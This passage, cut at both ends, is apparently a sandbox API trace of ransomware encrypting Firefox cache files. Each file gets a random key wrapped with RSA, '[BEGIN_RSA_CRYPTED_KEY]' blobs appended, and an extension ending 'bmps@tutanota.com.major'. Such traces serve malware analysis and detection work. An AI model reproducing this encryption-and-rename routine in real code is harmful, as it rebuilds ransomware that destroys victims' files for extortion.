pszString="zsbUX+SIIvd3yEpAG+dYOE/6MFFmgD4x7zMe8KHnWn8sMelPWwTKmBHHxn0KeaM9\nNz3R2eyesgJbRQHHcFJppbEyvhdPnOg033p3xuScRCczpwecBCVBgygMUfRaMnG1\nfM13iJFKJLRaAlae21s8UTJWs6ix168ssQUGes9GNmSKkptJb6PlVZ02DByQL70h\nO9tVmEz9qR0LZ/eDJad8a8BdhHmzeI+LOgfCN36myhZqzIiipwEbbYNUtqIEpzHv\nncT+PII7Sl5J2NhwTHrbhPqiloB2obJLSsivpqNHq/5R1Et1Qwp0McJ3UwGLL5hE\nEDKqoO5kMWbeDwHcWBFSLg==\n", pcchString=0x2e3f9a8) returned 1 [0260.158] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.158] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.158] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.159] CloseHandle (hObject=0x1b84) returned 1 [0260.159] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9562ACA5B7D12C4434606DB907926F6EF9F36E1C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9562aca5b7d12c4434606db907926f6ef9f36e1c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9562ACA5B7D12C4434606DB907926F6EF9F36E1C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9562aca5b7d12c4434606db907926f6ef9f36e1c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.162] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.162] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\950506BC89C1114E4E75E993855000430CECD9D9", dwFileAttributes=0x80) returned 1 [0260.163] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0xb7d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0xb7d, lpOverlapped=0x0) returned 1 [0260.171] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2941, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.171] WriteFile (in: hFile=0x1b84, lpBuffer=0x34403b8*, nNumberOfBytesToWrite=0xb7d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34403b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb7d, lpOverlapped=0x0) returned 1 [0260.172] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb7d [0260.172] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.172] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.172] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.172] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rF4lLJfsvl0uV+SuhPVl9r23+YoaEHy50+Ixwv49g11eWINj8ojv/vlrG908UlO+\nLPPcXBH5AL1umP74GazcyKqzf19THnRu7Sn5KwLG9v/xU77Quc6N70o8aOFQlj+H\nBsC7r8MTkAzukafOh7Nc9hycR8JOF0Js8Kwk46Up4GuLmibTeqBF/cG8WTv0h3Pj\nqSpscKZp2gOPr9s5ySdfYwaQTREWC9uZHNtvugfFhZ3pWgQGTbxUOpy3XfHpwglC\n4WNU0y8s3Fn+p2rhmpJ3nlaB3GE/OYOd2zBj/NIlsoMKCplSp+hzMeiuYeOvDwyN\nTDjJadhMw5R5YqWbd9PfDg==\n", pcchString=0x2e3f9a8) returned 1 [0260.173] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.173] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.173] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.173] CloseHandle (hObject=0x1b84) returned 1 [0260.174] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\950506BC89C1114E4E75E993855000430CECD9D9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\950506bc89c1114e4e75e993855000430cecd9d9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\950506BC89C1114E4E75E993855000430CECD9D9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\950506bc89c1114e4e75e993855000430cecd9d9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.176] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.176] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\941A1B56BB6C49802B2D2C51ED172A4A9F7D360C", dwFileAttributes=0x80) returned 1 [0260.176] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x4ab7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x4ab7, lpOverlapped=0x0) returned 1 [0260.178] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-19127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.178] WriteFile (in: hFile=0x1b84, lpBuffer=0x3446048*, nNumberOfBytesToWrite=0x4ab7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4ab7, lpOverlapped=0x0) returned 1 [0260.178] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4ab7 [0260.178] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.178] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.179] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.179] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="h8lY8ok1E8YPa7Raynj/NdyZpsjmybktvl/bvbH9Y3Yf6H/3zJnwFDCw6pendbyA\npvel+zA4j0R9Qajhbt2+QGgDE2IWz/ZTzBk5f1bdd+eQyAs//sCQ/jsh/KnBINuI\nAppkgSfrl7zbHPwZtcdfsdUqeKjgjKUJCHuqqZ83P2wXe7W7W6JsVZ8HxTBGWQL1\nPORDTYchJ0BAC52we0tSc0sH3hoFbRF5fuDse/CS3+5vHM4WoG587Ys282TeFLte\nhLbnq0rSnfDR+ZEXwSYJQLFAsXkaWwj/ob4n4IG/1e6aL9exXSigKH2e6A4Isosi\nqUUXCJ3LgV0r5qG4Ps+pqw==\n", pcchString=0x2e3f9a8) returned 1 [0260.179] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.179] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.180] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.180] CloseHandle (hObject=0x1b84) returned 1 [0260.180] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\941A1B56BB6C49802B2D2C51ED172A4A9F7D360C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\941a1b56bb6c49802b2d2c51ed172a4a9f7d360c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\941A1B56BB6C49802B2D2C51ED172A4A9F7D360C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\941a1b56bb6c49802b2d2c51ed172a4a9f7d360c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.182] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.182] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\930D48D86E06AEFA87D0F4EC58A054957534F7E7", dwFileAttributes=0x80) returned 1 [0260.182] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x23d41, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x23d41, lpOverlapped=0x0) returned 1 [0260.350] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-146753, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.350] WriteFile (in: hFile=0x1b84, lpBuffer=0x3469d98*, nNumberOfBytesToWrite=0x23d41, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3469d98*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23d41, lpOverlapped=0x0) returned 1 [0260.351] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23d41 [0260.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.351] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wQfJb6twcZtBRsVUxyEp3bmwrGCLNZO8naYPWEeANyN+bLXE1DIm+N5X8mq7d/Ap\n1NPdTj9OAZf3Gi04yBvdq5+hrNBaZaQPH9SsHyTJQQqjnRXi+GhzAR+TY819Ao9j\nCg3hsCRq2UWXCZPz8HwOneLhNi99Hz3ERXtPP4SK2ZkZSedBdgAxQfshC3ZodJIj\nesjR7ygPdHn2QRyfpafmjA1EXoge2bzBteI7+eyp+Eccoqm/zFm1UZJYtderYyOB\nkosmxw+Vxy96jf8dYrGDJac64rQLx2duXvbEcMNdleXxr4A438kJhqMbdrfjC5pp\nOWE+B7hs2CocjruMzblDqg==\n", pcchString=0x2e3f9a8) returned 1 [0260.352] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.352] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.352] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.353] CloseHandle (hObject=0x1b84) returned 1 [0260.353] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\930D48D86E06AEFA87D0F4EC58A054957534F7E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\930d48d86e06aefa87d0f4ec58a054957534f7e7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\930D48D86E06AEFA87D0F4EC58A054957534F7E7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\930d48d86e06aefa87d0f4ec58a054957534f7e7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.355] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.355] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\92B4D727ADE4E764DD3FA5E06965666378F08CFF", dwFileAttributes=0x80) returned 1 [0260.355] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4e9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4e9, lpOverlapped=0x0) returned 1 [0260.770] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1257, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.770] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4e9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4e9, lpOverlapped=0x0) returned 1 [0260.771] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4e9 [0260.771] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.771] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.772] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.772] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cUnl8xFOUsRaNpm/LCLUzaGbbbB792v6wvsBvncTzx8YtITSim2viSP5R1UBZlSk\nf/8TVw0VoAd5/OL70COcQ021Q/lk69epnVJalTJkZHuU/W6oKUDfr4pqK0h+JRIu\n6UgcmAHaKRtpHfls6Abk5g8GSN7aWsF/7CQln4YLUaorefEvoRqqbFB/b1cF10S3\nhoKm6ogLJ2564jTaZWKrvn6pgHlAZvUj1dX5NsB+TFMYKFtV2qfOxN8UEk5uUnJd\n4ek3W2wnzlMFwTnblYPANgqNlDycovDDUVkoxp6YAv+pvJ+KCDW5LkuvuftEbDlQ\naAg/1gdJ211PaxcQ1/6ptA==\n", pcchString=0x2e3f9a8) returned 1 [0260.772] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.773] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.773] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.773] CloseHandle (hObject=0x1b84) returned 1 [0260.774] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\92B4D727ADE4E764DD3FA5E06965666378F08CFF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\92b4d727ade4e764dd3fa5e06965666378f08cff"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\92B4D727ADE4E764DD3FA5E06965666378F08CFF.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\92b4d727ade4e764dd3fa5e06965666378f08cff.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.776] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.776] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\926B4864A9252277C983BFD76A41E31DF701CB26", dwFileAttributes=0x80) returned 1 [0260.777] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0xf36, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0xf36, lpOverlapped=0x0) returned 1 [0260.787] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.787] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440770*, nNumberOfBytesToWrite=0xf36, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440770*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf36, lpOverlapped=0x0) returned 1 [0260.788] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf36 [0260.788] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.788] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.789] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0260.789] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0260.789] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0260.789] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Qda5/+KC1HbSRX4zuHqtdkbHgkRNo/Q08nhpb1TK1Xl1khhph3HAUa6+WMeEgO7n\n6cwAhUQGEOaHe2kNBIGikoUFXlne+MflMJ29+hMqLJDDEx0QgBNXagqcLzp4+1jj\nOy8KHF8KeJXJcbiTofmR8fIoNJJtrpNp83dfoX9nXlGhtdt/tAW5jdZ1wCTGTuml\nXXezahqyaCjBhdCleks0yUkr6BFpv7bNWwT8AvHUplT2Rk0WBwmhAqFGjx5zRGv0\n30lpxwwq3pfvoFwor6neyvBwIHOmbgeMfH7pjh9jQtdjQu1i7YZOVoudsGjtHSlJ\n/c8nFjrAF2WdHTz+qlOIVw==\n", pcchString=0x2e3f9a8) returned 1 [0260.789] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0260.790] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.790] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0260.790] CloseHandle (hObject=0x1b84) returned 1 [0260.790] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\926B4864A9252277C983BFD76A41E31DF701CB26" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\926b4864a9252277c983bfd76a41e31df701cb26"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\926B4864A9252277C983BFD76A41E31DF701CB26.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\926b4864a9252277c983bfd76a41e31df701cb26.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0260.794] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0260.794] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\91FFA32B495A7A655236E9625A48F0CAACC3A677", dwFileAttributes=0x80) returned 1 [0260.795] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x524a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x524a, lpOverlapped=0x0) returned 1 [0260.814] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-21066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0260.815] WriteFile (in: hFile=0x1b84, lpBuffer=0x3446048*, nNumberOfBytesToWrite=0x524a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x524a, lpOverlapped=0x0) returned 1 [0260.815] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x524a [0260.815] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0260.816] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 